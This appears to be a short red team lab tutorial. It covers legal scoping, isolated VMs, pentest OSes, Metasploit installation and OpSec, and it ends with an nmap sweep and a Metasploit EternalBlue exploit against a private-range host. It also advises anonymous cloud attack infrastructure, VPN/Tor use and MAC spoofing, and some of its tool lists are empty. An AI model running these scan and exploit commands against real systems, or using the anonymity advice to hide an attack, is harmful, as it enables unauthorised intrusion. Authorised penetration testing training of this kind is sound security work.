Before setting up the environment, determine the goal:
✅ Target Scope – Are you testing corporations, government infrastructure, or private organizations?
✅ Attack Methods – Will you use network-based, social engineering, or physical penetration?
✅ Legal Considerations – Ensure proper contracts & rules of engagement (RoE) to avoid illegal activity.
🔹 Tools Needed: NIST 800-53, MITRE ATT&CK Framework, CIS Benchmarks.
Your Red Team Lab should be completely isolated from your personal/work networks.
🔹 Recommended Setup:
✅ Virtual Machines (VMs) & Containers – Use VirtualBox, VMware, or Proxmox to isolate attacks.
✅ Air-Gapped Systems – Keep critical hacking tools disconnected from the internet to prevent leaks.
✅ Dedicated Server (Local or Cloud) – Deploy attack infrastructure in an anonymous cloud environment.
🔹 Tools to Use:
🔹 Primary OS Choices for Ethical Hacking:
✅ Kali Linux – The most widely used pentesting OS.
✅ Parrot Security OS – Lightweight alternative with pre-installed hacking tools.
✅ Commando VM (Windows Red Team) – Used by professionals targeting Windows-based environments.
✅ BlackArch Linux – A powerful OS with over 2,500 hacking tools.
🔹 How to Install Kali Linux on a Secure VM:
sudo apt update && sudo apt upgrade -y
A high-level Red Team setup requires specialized tools for network penetration, social engineering, and data exploitation.
✅ C2 Frameworks (Command & Control):
🔹 How to Install Metasploit on Kali Linux:
sudo apt install metasploit-framework -y
msfconsole
Before engaging in Red Team operations, operational security (OpSec) is a must.
🔹 How to Stay Anonymous While Running Red Team Ops
✅ Use VPN & Tor Network – NEVER operate without a secure VPN (Mullvad, ProtonVPN, or custom OpenVPN).
✅ Spoof Your Digital Fingerprint – Use tools like MacChanger & Tails OS to avoid tracking.
✅ Encrypt Communications – Use PGP encryption & SecureDrop for confidential client interactions.
🔹 Example: Changing MAC Address for OpSec:
sudo macchanger -r eth0
Now that your Red Team environment is secure, it’s time to simulate an attack.
1️⃣ Scan a Target Network Using Nmap
nmap -A -T4 -p- 192.168.1.1/24
2️⃣ Exploit a Vulnerability Using Metasploit
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.5
exploit
🔹 Red Team Report: Document the entire attack chain and provide mitigation strategies.
✔ Isolated Red Team Lab with secure VMs
✔ Installed specialized OS & hacking tools
✔ Implemented OpSec & anonymity measures
✔ Simulated a real-world attack